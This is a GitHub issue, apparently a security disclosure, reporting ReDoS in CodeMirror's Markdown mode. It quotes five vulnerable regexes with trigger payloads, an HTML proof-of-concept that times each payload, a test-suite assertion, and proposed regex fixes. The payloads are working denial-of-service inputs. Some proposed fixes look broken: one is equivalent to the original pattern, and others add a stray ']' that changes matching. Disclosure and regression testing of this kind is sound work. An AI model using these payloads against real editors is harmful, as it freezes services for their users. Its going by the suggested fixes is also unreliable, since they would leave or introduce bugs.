Skip to content

A ReDoS vulnerability has been identified in CodeMirror’s Markdown mode #7967

@ShiyuBanzhou

Description

@ShiyuBanzhou

Summary

A ReDoS vulnerability has been identified in CodeMirror’s Markdown mode. Specially crafted input strings can trigger catastrophic backtracking in several regular expressions, causing the affected application to freeze or significantly degrade its performance. This vulnerability could be exploited in any environment (browser‐ or server‑side) that utilizes CodeMirror’s Markdown mode, leading to denial‑of‑service (DoS).

Details

Multiple regular expression patterns within the mode/markdown/markdown.js file are vulnerable to exponential backtracking. The problem lies in the use of greedy quantifiers (e.g., + or *) in combination with unbounded capture groups that must eventually match a terminating token. When provided with an extremely long string that fails to eventually match the pattern (e.g. due to an extra character at the end), the engine will backtrack excessively.

Below are a few representative vulnerable patterns along with the attack strings that trigger them:

  1. Trailing Spaces Check

Vulnerable Code:

if (stream.match(/ +$/, false))

Trigger Payload:
"" + " ".repeat(100000) + "@"

Problem: The pattern / +$/ uses a greedy quantifier with no length limit before the end-of-line anchor ($), causing exponential backtracking on an input consisting of 100,000 spaces followed by a non‑space character.

  1. Image/Link Prefix Check
    Vulnerable Code:
if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false))

Trigger Payload:
"" + "[".repeat(100000) + "]"

Problem: The use of [^\]]* is unbounded and can lead to catastrophic backtracking when fed with thousands of repetitive [ characters.

  1. Link Suffix Check

Vulnerable Code:

if (ch === ']' && state.linkText && stream.match(/\(.*?\)| ?\[.*?\]/, false))

Trigger Payload:
"" + "(".repeat(100000) + "\n@"

Problem: The non‑greedy .*? still causes massive backtracking in this context due to the overall pattern complexity when the input consists of many repeated ( characters followed by a newline and non‑matching character.

  1. Angle‑Bracket Email Check:
    Vulnerable Code:
if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false))

Trigger Payload:
"" + "^\u0000@".repeat(100000) + "\u0000"

Problem: The unbounded character class [^[> \\]+ together with a similar pattern for matching the domain part causes the regex engine to overwork when facing repeated patterns that do not reach the closing angle bracket.

  1. Nested Link Check
    Vulnerable Code:
if (ch === '[' && stream.match(/[^\]]*\](\(.*\)| ?\[.*?\])/, false) && !state.image)

Trigger Payload:
"" + "()]" + " [".repeat(100000) + "◎\n@◎"

Problem: The use of unbounded [^\]]* and \(.*\) further amplifies the risk of exponential backtracking with carefully crafted inputs.
Proposed Fixes Using Negative Look-Ahead:
To mitigate the vulnerability, we suggest replacing the vulnerable regex patterns with ones that do not require catastrophic backtracking. For example:

- if (stream.match(/ +$/, false)) ...
+ if (stream.match(/ {1,}(?=$)/, false)) ...

- if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false))
+ if (ch === '!' && stream.match(/\[[^\]\n]*](?=\(|\[)/, false))

- if (ch === ']' && state.linkText && stream.match(/\(.*?\)| ?\[.*?\]/, false))
+ if (ch === ']' && state.linkText &&
+     stream.match(/\((?:[^()\\]|\\.)*]\)| ?\[(?:[^\]\\]|\\.)*]/, false))

- if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false))
+ if (ch === '<' && stream.match(/^[^\s>@]+@[^>\s]+>/, false))

- if (ch === '[' && stream.match(/[^\]]*\](\(.*\)| ?\[.*?\])/, false) && !state.image)
+ if (ch === '[' && !state.image &&
+     stream.match(/[^\]\n]*](?=\((?:[^()\\]|\\.)*]\)| ?\[(?:[^\]\\]|\\.)*])/, false))

PoC

Below are two proof‑of‑concept examples:

PoC via a Standalone HTML File
Save the following content as poc.html, ensuring that it resides alongside your local copies of:

lib/codemirror.js

mode/xml/xml.js

mode/markdown/markdown.js

Then open the file in a browser and observe the console output.

<!doctype html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <title>CodeMirror Markdown ReDoS PoC</title>
  <link rel="stylesheet" href="lib/codemirror.css">
  <script src="lib/codemirror.js"></script>
  <script src="mode/xml/xml.js"></script>
  <script src="mode/markdown/markdown.js"></script>
  <style>
    body { font:14px sans-serif; padding:20px; }
    .CodeMirror { border:1px solid #444; height:200px; }
  </style>
</head>
<body>
<h2>Markdown ReDoS PoC</h2>
<p>maybe Redos!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p>
<textarea id="editor"></textarea>
<script>
  const cases = [
    { desc: "spaces",     payload: " ".repeat(100000) + "@",         note: "trailing-space matcher (/ +$/)" },
    { desc: "brackets",   payload: "[".repeat(100000) + "]",         note: "image/link prefix (/\[[^\]]*\] ?(?:\(|\[)/)" },
    { desc: "parenNL",    payload: "(".repeat(100000) + "\n@",       note: "link suffix (/\(.*?\)| ?\[.*?\]/)" },
    { desc: "nullEmail",  payload: "^\u0000@".repeat(100000) + "\u0000", note: "angle-bracket email (/^[^> \\]+@(?:[^\\>]|\\.)+>/)" },
    { desc: "linkMix",    payload: "()]" + " [".repeat(100000) + "◎\n@◎", note: "nested link (/[^\]]*\](\(.*\)| ?\[.*?\])/)"} 
  ];

  cases.forEach(({ desc, payload, note }) => {
    const host = document.body.appendChild(document.createElement("div"));
    host.style.cssText = "position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;";
    const cm = CodeMirror(host, { value: payload, mode: "markdown", lineNumbers: false });
    console.time("ReDoS-" + desc);
    cm.getTokenAt({ line: 0, ch: payload.length });
    console.timeEnd("ReDoS-" + desc);
    console.log(`Case "${desc}": ${note}`);
    cm.toTextArea();
    host.remove();
  });
</script>
</body>
</html>

PoC via Existing Test Suite (test.js)
If you already use a test suite to run CodeMirror’s tests (as in your test.js file), append the following code in the end of test.js file.

/* ===========================================================
 *  ReDoS Performance Assertion Module
 *  -----------------------------------------------------------
 *  If the Markdown tokenizer takes longer than 2000 ms to process
 *  any of the provided payloads, throw an error to fail the test,
 *  indicating the presence of a ReDoS vulnerability.
 * ===========================================================*/
(function () {
  if (typeof CodeMirror === "undefined") return;      // Ensure CodeMirror is loaded

  const THRESHOLD = 2000;   // Assertion threshold: 2000 ms
  
  const CASES = [
    { name: "spaces",    payload: " ".repeat(100000) + "@",         note: "trailing-space (/ +$/)" },
    { name: "brackets",  payload: "[".repeat(100000) + "]",         note: "image/link prefix (/\\[[^\\]]*\\] ?(?:\\(|\\[)/)" },
    { name: "parenNL",   payload: "(".repeat(100000) + "\n@",       note: "link suffix (/\\(.*?\\)| ?\\[.*?\\]/)" },
    { name: "nullEmail", payload: "^\u0000@".repeat(100000) + "\u0000", note: "angle-email (/^[^> \\]+@(?:[^\\>]|\\.)+>/)" },
    { name: "linkMix",   payload: "()]" + " [".repeat(100000) + "◎\n@◎", note: "nested link (/[^\\]]*\\](\\(.*\\)| ?\\[.*?\\])/)" }
  ];

  CASES.forEach(({ name, payload, note }) => {
    // Create a temporary off-screen container for the CodeMirror instance
    const host = document.body.appendChild(document.createElement("div"));
    host.style.cssText = "position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;";
    
    // Create a CodeMirror instance in Markdown mode with the payload as its value
    const cm = CodeMirror(host, { value: payload, mode: "markdown", lineNumbers: false });
    
    // Measure the time taken to tokenize the entire payload
    const t0 = performance.now();
    cm.getTokenAt({ line: 0, ch: payload.length });
    const dt = performance.now() - t0;
    
    console.log(`ReDoS-${name}: ${dt.toFixed(0)} ms (${note})`);
    
    // If processing time exceeds the threshold, throw an error to fail the test
    if (dt > THRESHOLD) {
      throw new Error(`ReDoS vulnerability detected in case "${name}" — ${dt.toFixed(0)} ms exceeds threshold of ${THRESHOLD} ms.`);
    }
    
    // Cleanup
    cm.toTextArea();
    host.remove();
  });
})();

Impact

Impact
Type: Regular-expression Denial of Service (ReDoS)

Affected Component: CodeMirror’s Markdown mode (v5.17.0 or earlier)

Who is Impacted:

Web applications that embed CodeMirror to allow users to edit Markdown content.

Server‑side renderers that reuse CodeMirror’s tokenizer.

Result: An attacker may provide a maliciously crafted Markdown input, causing the editor (or associated service) to freeze the CPU for several seconds or longer, leading to a denial of service.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions